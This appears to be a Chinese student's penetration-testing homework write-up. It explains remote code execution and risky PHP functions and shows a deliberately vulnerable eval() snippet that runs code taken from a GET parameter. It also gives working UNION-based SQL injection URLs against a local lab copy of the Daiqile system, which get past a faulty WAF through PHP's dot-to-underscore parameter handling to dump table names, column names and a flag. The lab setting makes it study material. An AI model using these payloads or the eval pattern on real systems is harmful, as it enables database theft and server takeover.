渗透第二次作业

目录

简述rce漏洞

可能产生rce漏洞的函数

RCE代码执行漏洞示例

贷齐乐系统多处SQL注入漏洞

​编辑

爆出库名

爆出表名

爆出表下的列名

查flag数据


简述rce漏洞

​ rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

可能产生rce漏洞的函数

1.PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

2.PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

3.PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

RCE代码执行漏洞示例

复制代码
<?php
        $code=$_GET['x'];
        eval($code);
?>

访问刚刚创建的php文件,参数后面的内容写为"phpinfo()".可以看到网页执行了phpinfo()语句并进行了回显。

访问刚刚创建的php文件,参数后面的内容写为"echo 123;".可以看到网页执行了echo 123语句并进行了回显

贷齐乐系统多处SQL注入漏洞

该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。

单引号闭合

爆出库名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

爆出表名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名

复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

查flag数据

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

总结

PHP特性:在GET请求中,如果参数的键(key)包含点号(.),PHP会自动将其转换为下划线(_)。例如,参数i.d会被转换为i_d

相关推荐
李艺为42 分钟前
非预置应用使用platform签名并且添加了android.uid.system无法adb安装解决方法
android·adb
李宥小哥2 小时前
C#基础11-常用类
android·java·c#
Jerry7 小时前
Compose 中的绘制功能简介
android
我科绝伦(Huanhuan Zhou)9 小时前
【脚本升级】银河麒麟V10一键安装MySQL9.3.0
android·adb
消失的旧时光-19439 小时前
Android回退按钮处理方法总结
android·开发语言·kotlin
叫我龙翔9 小时前
【MySQL】从零开始了解数据库开发 --- 数据表的约束
android·c++·mysql·数据库开发
2501_9160137410 小时前
iOS 上架 App 全流程实战,应用打包、ipa 上传、App Store 审核与工具组合最佳实践
android·ios·小程序·https·uni-app·iphone·webview
2501_9151063210 小时前
iOS 26 能耗监测全景,Adaptive Power、新电池视图
android·macos·ios·小程序·uni-app·cocoa·iphone
用户20187928316711 小时前
浅谈Android PID与UID原理
android